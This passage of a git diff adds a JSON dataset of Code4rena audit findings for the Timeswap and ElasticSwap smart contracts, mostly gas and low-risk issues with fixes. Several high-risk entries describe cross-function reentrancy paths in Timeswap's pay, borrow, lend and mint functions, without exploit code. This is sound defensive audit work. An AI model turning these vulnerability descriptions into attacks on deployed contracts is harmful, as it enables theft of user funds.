for liquidity of the pool: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L205 ## Recommended Mitigation Steps There is a check in other relevant functions, it can be added in the very same form here: ` require(pool.state.totalLiquidity > 0, 'E206')` Error description can be updated to include ` burn `: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/ErrorCodes.md#e206 "}, {"title": "Convenience contract fails to function if asset or collateral is an ERC20 token with fees", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/93", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Convenience contract fails to function if asset or collateral is an ERC20 token with fees"}, {"title": "more efficient gas usage by removing && operator", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle rfa # Vulnerability details ## Impact more expensive gas usage ## Proof of Concept instead of using operator && on single require check. using additional require check can save more gas: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L151-L152 https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L201-L202 https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L234-L235 https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L272-L273 https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L309-L310 https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L351 ## Tools Used https://remix.ethereum.org ## Recommended Mitigation Steps example: require(liquidityTo != address(0), 'E201' ); require(dueTo != address(0), 'E201'); "}, {"title": "TimeswapConvenience params structure components are not validated before usage", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/88", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "TimeswapConvenience params structure components are not validated before usage"}] \ No newline at end of file diff --git a/results/codearena_findings_11.json b/results/codearena_findings_11.json new file mode 100644 index 0000000..e4f69c5 --- /dev/null +++ b/results/codearena_findings_11.json @@ -0,0 +1 @@ +[{"title": "TimeswapPair.sol modifier lock: Switching between 1, 2 instead of 0, 1 is more gas efficient", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle bitbopper # Vulnerability details ## Impact `https://github.com/code-423n4/2022-01-timeswap/blob/5960e07d39f2b4a60cfabde1bd51f4b1e62e7e85/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L121:L126` could be more gas efficient ## Proof of Concept ### Version as in Repo ``` // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.8.4; contract LockProofOld { uint256 locked = 0; modifier lock() { require(locked == 0, 'E211'); locked = 1; _; locked = 0; } function test() public lock { } } ``` ### Proposed Version ``` // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.8.4; contract LockProofNew { uint256 locked = 1; modifier lock() { require(locked == 1, 'E211'); locked = 2; _; locked = 1; } function test() public lock { } } ``` ### Comparison #### Test harness ``` // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.8.4; import \"ds-test/test.sol\"; import \"./LockProofOld.sol\"; import \"./LockProofNew.sol\"; contract LockProofTest is DSTest { LockProofOld lockproofold; LockProofNew lockproofnew; function setUp() public { lockproofold = new LockProofOld(); lockproofnew = new LockProofNew(); } function test_old() public { lockproofold.test(); } function test_new() public { lockproofnew.test(); } } ``` #### Output ``` dapp test Running 2 tests for src/LockProof.t.sol:LockProofTest [PASS] test_old() (gas: 21042) [PASS] test_new() (gas: 1136) ``` "}, {"title": "DOS pay function", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/86", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "DOS pay function"}, {"title": "`pendingOwner` should be reset to `address(0)` after `acceptOwner()` is successfully called", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/83", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle Dravee # Vulnerability details ## Impact The `acceptOwner()` external function can be called indefinitely instead of only once. The contract's state doesn't reflect reality. The code doesn't follow the standard implementation of a 2-step ownership transfer. ## Proof of Concept Here's the current `acceptOwner()` external function, which lacks a reset of `pendingOwner` to `address(0)` : ``` function acceptOwner() external override { require(msg.sender == pendingOwner, 'E102'); owner = msg.sender; emit AcceptOwner(msg.sender); } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Change the code to: ``` function acceptOwner() external override { require(msg.sender == pendingOwner, 'E102'); owner = msg.sender; pendingOwner = address(0); // @audit : line to add emit AcceptOwner(msg.sender); } ``` "}, {"title": "Unused Named Returns", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Unused Named Returns"}, {"title": "Gas optimization: Placement of require statements in `TimeswapPair:pay()`", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/80", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Some of the require statements can be placed earlier to reduce gas usage on revert. As a reminder from the [Ethereum Yellow Paper](https://ethereum.github.io/yellowpaper/paper.pdf), Appendix G and Appendix H: - TIMESTAMP costs 2 gas - ADDRESS costs 2 gas - MLOAD costs 3 gas ## Proof of Concept The following can be reorder to save gas on revert: ``` require(block.timestamp < maturity, 'E202'); require(ids.length == assetsIn.length && ids.length == collateralsOut.length, 'E205'); require(to != address(0), 'E201'); require(to != address(this), 'E204'); ``` to ``` require(block.timestamp < maturity, 'E202'); require(to != address(0), 'E201'); require(to != address(this), 'E204'); require(ids.length == assetsIn.length && ids.length == collateralsOut.length, 'E205'); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Relocate the said require statements "}, {"title": "users might pay enormous amouts of gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/74", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "users might pay enormous amouts of gas"}, {"title": "Wrong Safe implementation", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/69", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Wrong Safe implementation"}, {"title": "\"constants\" expressions are expressions, not constants. Use \"immutable\" instead.", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Due to how `constant` variables are implemented, an expression assigned to a `constant` variable is recomputed each time that the variable is used, which wastes some gas. If the variable was `immutable` instead: the calculation would only be done once at deploy time (in the constructor), and then the result would be saved and read directly at runtime rather than being recalculated. See: [ethereum/solidity#9232]([https://github.com/ethereum/solidity/issues/9232](https://github.com/ethereum/solidity/issues/9232)) ## Proof of Concept ``` Timeswap-V1-Convenience\\contracts\\libraries\\DateTime.sol:31: uint constant SECONDS_PER_DAY = 24 * 60 * 60; Timeswap-V1-Convenience\\contracts\\libraries\\DateTime.sol:32: uint constant SECONDS_PER_HOUR = 60 * 60; ``` ## Tools Used VS Code ## Recommended Mitigation Steps Change these expressions from `constant` to `immutable` and implement the calculation in the constructor "}, {"title": "Use Custom Errors instead of Revert Strings to save Gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Use Custom Errors instead of Revert Strings to save Gas"}, {"title": "Mint library uses wrong error code for max collateral check", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle hyh # Vulnerability details ## Impact There can be issues with troubleshooting and system usage analytics. ## Proof of Concept E512 error code is meant for 'Debt is greater than max Debt' situation: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/ErrorCodes.md#e512 In Mint library E512 is used for collateral max value check: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/libraries/Mint.sol#L482 Also, code E513, that is to be used for collateral check above, is also used for max asset increase check, which doesn\u2019t seem to have an error code of its own: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/libraries/Mint.sol#L481 https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/libraries/Mint.sol#L643 ## Recommended Mitigation Steps Change Mint line 482 error code to be 513: https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/ErrorCodes.md#e513 Possibly add an error code for max asset check for Mint lines 481 and 643. "}, {"title": "Gas saving", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Gas saving"}, {"title": "A more efficient for loop index proceeding", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "A more efficient for loop index proceeding"}, {"title": "No check that _factory and _weth are different addresses in constructor ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In TimeswapConvenience.sol the constructor takes in 2 addresses for _factory and _weth and sets them in storage without checking that they are unique which can introduce possible costly errors during deployment. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L62 ## Tools Used Manuel code review ## Recommended Mitigation Steps Add to TimeswapConvenience.sol constructor: require(_factory != _weth, \"Duplicate address\") "}, {"title": "no reentrancy guard on mint() function that has a callback ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In CollateralizedDebt.sol, the mint() function calls _safeMint() which has a callback to the \"to\" address argument. Functions with callbacks should have reentrancy guards in place for protection against possible malicious actors both from inside and outside the protocol. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/CollateralizedDebt.sol#L76 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L263 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L395 ## Tools Used Manual code review ## Recommended Mitigation Steps Add a reentrancy guard modifier on the mint() function in CollateralizedDebt.sol "}, {"title": "Insurance.sol constructor doesn't check if addresses passed are unique ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Insurance.sol constructor doesn't check if addresses passed are unique "}, {"title": "Liquidity constructor doesn't check that addresses are unique ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/39", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Liquidity constructor doesn't check that addresses are unique "}, {"title": "waste of gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "waste of gas"}, {"title": "gas", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle danb # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/libraries/MintMath.sol#L65 ``` y <= x ``` can be removed "}, {"title": "dangerous receive function", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle danb # Vulnerability details https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Convenience/contracts/TimeswapConvenience.sol#L69 the contract should receive ether only from weth, consider adding: ``` require(msg.sender == weth); ``` "}, {"title": "Core configuration variables aren't checked for operational mistakes on construction", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/34", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Core configuration variables aren't checked for operational mistakes on construction"}, {"title": "Improper Upper Bound Definition on the Fee", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-timeswap-findings", "body": "Improper Upper Bound Definition on the Fee"}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-timeswap-findings", "body": "Use `calldata` instead of `memory` for function parameters"}, {"title": "Named return issue", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/24", "labels": ["bug", "1 (Low Risk)"], "target": "2022-01-timeswap-findings", "body": "Named return issue"}, {"title": "Not verified function inputs of public / external functions", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/23", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-timeswap-findings", "body": "Not verified function inputs of public / external functions"}, {"title": "Public functions to external", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "Public functions to external"}, {"title": "SafeTransfer library called from pay() function is not needed ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In TimeswapPair.sol the pay() function calls safeTransfer() and does so using the SafeTransfer.sol library when it can simply add the open zeppelin SafeERC20.sol import directly inside TimeswapPair.sol itself eliminating the unnecessary code in the protocols own SafeTransfer library. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L374 https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/libraries/SafeTransfer.sol#L7 ## Tools Used Manual code review ## Recommended Mitigation Steps Use the open zeppelin SafeERC20 import directly inside the TimeswapPair.sol file instead of calling your own library. The extra safeTransfer library can then be deleted. "}, {"title": "missing check in constructor ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-timeswap-findings", "body": "missing check in constructor "}, {"title": "pay() function has callback to msg.sender before important state updates ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/7", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In TimeswapPair.sol, the pay() function has a callback to the msg.sender in the middle of the function while there are still updates to state that take place after the callback. The lock modifier guards against reentrancy but not against cross function reentrancy. Since the protocol implements Uniswap like functionality, this can be extremely dangerous especially with regard to composability/interacting with other protocols and contracts. The callback before important state changes (updates to reserves collateral and reserves assets) also violates the Checks Effects Interactions best practices further widening the attack surface. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L369 https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html cross function reentrancy https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21 ## Tools Used Manual code review ## Recommended Mitigation Steps The callback \"if (assetIn > 0) Callback.pay(asset, assetIn, data);\" should be placed at the end of the pay() function after all state updates have taken place. "}, {"title": "borrow() function has state updates after a callback to msg.sender ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/6", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In TimeswapPair.sol, the borrow() function has a callback to the msg.sender in the middle of the function while there are still updates to state that take place after the callback. The lock modifier guards against reentrancy but not against cross function reentrancy. Since the protocol implements Uniswap like functionality, this can be extremely dangerous especially with regard to composability/interacting with other protocols and contracts. The callback before important state changes (updates to collateral, totalDebtCreated and reserves assets) also violates the Checks Effects Interactions best practices further widening the attack surface. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L322 https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html cross function reentrancy https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21 ## Tools Used Manual code review ## Recommended Mitigation Steps The callback Callback.borrow(collateral, dueOut.collateral, data); should be placed at the end of the borrow() function after all state updates have taken place. "}, {"title": "In the lend() function state updates are made after the callback ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/5", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In TimeswapPair.sol, the lend() function has a callback to the msg.sender in the middle of the function while there are still updates to state that take place after the callback. The lock modifier guards against reentrancy but not against cross function reentrancy. Since the protocol implements Uniswap like functionality, this can be extremely dangerous especially with regard to composability/interacting with other protocols and contracts. The callback before important state changes (updates to totalClaims bonds, insurance and reserves assets) also violates the Checks Effects Interactions best practices further widening the attack surface. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L246 https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html cross function reentrancy https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21 ## Tools Used Manual code review ## Recommended Mitigation Steps The callback Callback.lend(asset, xIncrease, data); should be placed at the end of the lend() function after all state updates have taken place. "}, {"title": "Important state updates are made after the callback in the mint() function ", "html_url": "https://github.com/code-423n4/2022-01-timeswap-findings/issues/4", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-timeswap-findings", "body": "# Handle jayjonah8 # Vulnerability details ## Impact In TimeswapPair.sol, the mint() function has a callback in the middle of the function while there are still updates to state that take place after the callback. The lock modifier guards against reentrancy but not against cross function reentrancy. Since the protocol implements Uniswap like functionality, this can be extremely dangerous especially with regard to composability/interacting with other protocols and contracts. The callback before important state changes (updates to reserve asset, collateral, and totalDebtCreated) also violates the Checks Effects Interactions best practices further widening the attack surface. ## Proof of Concept https://github.com/code-423n4/2022-01-timeswap/blob/main/Timeswap/Timeswap-V1-Core/contracts/TimeswapPair.sol#L177 https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html cross function reentrancy https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21 ## Tools Used Manual code review ## Recommended Mitigation Steps The callback Callback.mint(asset, collateral, xIncrease, dueOut.collateral, data) should be placed at the end of the mint() function after all state updates have taken place. "}, {"title": "Repeated calls", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Result of this.totalSupply() could be cached to avoid duplicate calls: ```solidity require(this.totalSupply() > 0, \"Exchange: INSUFFICIENT_LIQUIDITY\"); ... uint256 totalSupplyOfLiquidityTokens = this.totalSupply(); ``` "}, {"title": "Unchecked maths", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/177", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Using the unchecked keyword to avoid redundant arithmetic checks and save gas when an underflow/overflow cannot happen, e.g.: ```solidity if (rootK > rootKLast) { uint256 numerator = _totalSupplyOfLiquidityTokens * (rootK - rootKLast); ``` rootK - rootKLast will never underflow here. "}, {"title": "quoteTokenQtyToReturn = internalBalances.quoteTokenReserveQty", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/176", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Would be cheapier to have >= here when quoteTokenQtyToReturn = internalBalances.quoteTokenReserveQty to skip math operation: ```solidity // We should ensure no possible overflow here. if (quoteTokenQtyToReturn > internalBalances.quoteTokenReserveQty) { internalBalances.quoteTokenReserveQty = 0; } else { internalBalances.quoteTokenReserveQty -= quoteTokenQtyToReturn; } ``` "}, {"title": "Inclusive conditions", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/175", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "Inclusive conditions"}, {"title": "Redundant code", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "Redundant code"}, {"title": "Revert when K >= 2^256", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/172", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2022-01-elasticswap-findings", "body": "Revert when K >= 2^256"}, {"title": "saving gas by not returning the variables that was declared to be returned", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/171", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle OriDabush # Vulnerability details ## Mathlib.sol (`calculateAddQuoteTokenLiquidityQuantities()`) In the `calculateAddQuoteTokenLiquidityQuantities()` function, the return line is unnecessary, because those variables are returned anyway (it will save gas if you'll remove the return line.) ```sol return (quoteTokenQty, liquidityTokenQty); // remove this line to save gas ``` "}, {"title": "inlining a function to save gas", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/169", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "inlining a function to save gas"}, {"title": "Gas Optimization: float multiplication optimization", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/167", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Gas Optimization: float multiplication optimization"}, {"title": "Gas Optimization: Use deterministic contract address", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/163", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Gas Optimization: Use deterministic contract address"}, {"title": "Gas Optimization: `> 0` is less efficient than `!= 0` for uint in require condition", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle gzeon # Vulnerability details ## Impact `> 0` is less gas efficient than `!= 0` for uint in require condition when optimizer is enabled Ref: https://twitter.com/GalloDaSballo/status/1485430908165443590 ## Proof of Concept https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/contracts/Exchange.sol#L176 ``` require(this.totalSupply() > 0, \"Exchange: INSUFFICIENT_LIQUIDITY\"); ``` "}, {"title": "swapBaseTokenForQuoteToken and swapQuoteTokenForBaseToken do not check output quantities to be achievable", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/160", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "swapBaseTokenForQuoteToken and swapQuoteTokenForBaseToken do not check output quantities to be achievable"}, {"title": "Custom Errors", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/159", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Custom Errors"}, {"title": "Initialize to default state is redundant", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/contracts/Exchange.sol#L27-L28 ```solidity MathLib.InternalBalances public internalBalances = MathLib.InternalBalances(0, 0, 0); ``` Initialize `internalBalances` to the default state is redundant. Change to `MathLib.InternalBalances public internalBalances;` can make the code simpler and save some gas. "}, {"title": "Remove unused code can save gas", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/157", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Remove unused code can save gas"}, {"title": "Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "Cache and read storage variables from the stack can save gas"}, {"title": " Outdated versions of OpenZeppelin library", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/155", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle WatchPug # Vulnerability details Outdated versions of OpenZeppelin library are used. New versions of OpenZeppelin libraries can be more gas efficient. For example: `ERC20.sol` in @openzeppelin/contracts@4.1.0: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/token/ERC20/ERC20.sol#L152-L153 ```solidity require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\"); _approve(sender, _msgSender(), currentAllowance - amount); ``` A gas optimization upgrade has been added to @openzeppelin/contracts@4.4.2: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.4.2/contracts/token/ERC20/ERC20.sol#L158-L161 ```solidity require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } ``` "}, {"title": "Incorrect implementation of `_quoteTokenQtyMin`, `_baseTokenQtyMin`", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/153", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor disputed"], "target": "2022-01-elasticswap-findings", "body": "Incorrect implementation of `_quoteTokenQtyMin`, `_baseTokenQtyMin`"}, {"title": "Redundant `return` for named returns", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/151", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle WatchPug # Vulnerability details Redundant code increase contract size and gas usage at deployment. https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L227-L233 ```solidity function calculateAddQuoteTokenLiquidityQuantities( uint256 _quoteTokenQtyDesired, uint256 _quoteTokenQtyMin, uint256 _baseTokenReserveQty, uint256 _totalSupplyOfLiquidityTokens, InternalBalances storage _internalBalances ) public returns (uint256 quoteTokenQty, uint256 liquidityTokenQty) { ``` https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L282-L282 ```solidity return (quoteTokenQty, liquidityTokenQty); ``` L282, `return (quoteTokenQty, liquidityTokenQty)` is redundant. "}, {"title": "Simplify `MathLib#sqrt()` can save gas", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle WatchPug # Vulnerability details The check of `y > 3` is unnecessary and most certainly adds more gas cost than it saves as the majority of use cases of this function will not be handling `y <= 3`. https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L82-L93 ```solidity function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } ``` ### Recommendation Change to: ```solidity function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } ``` Or use: 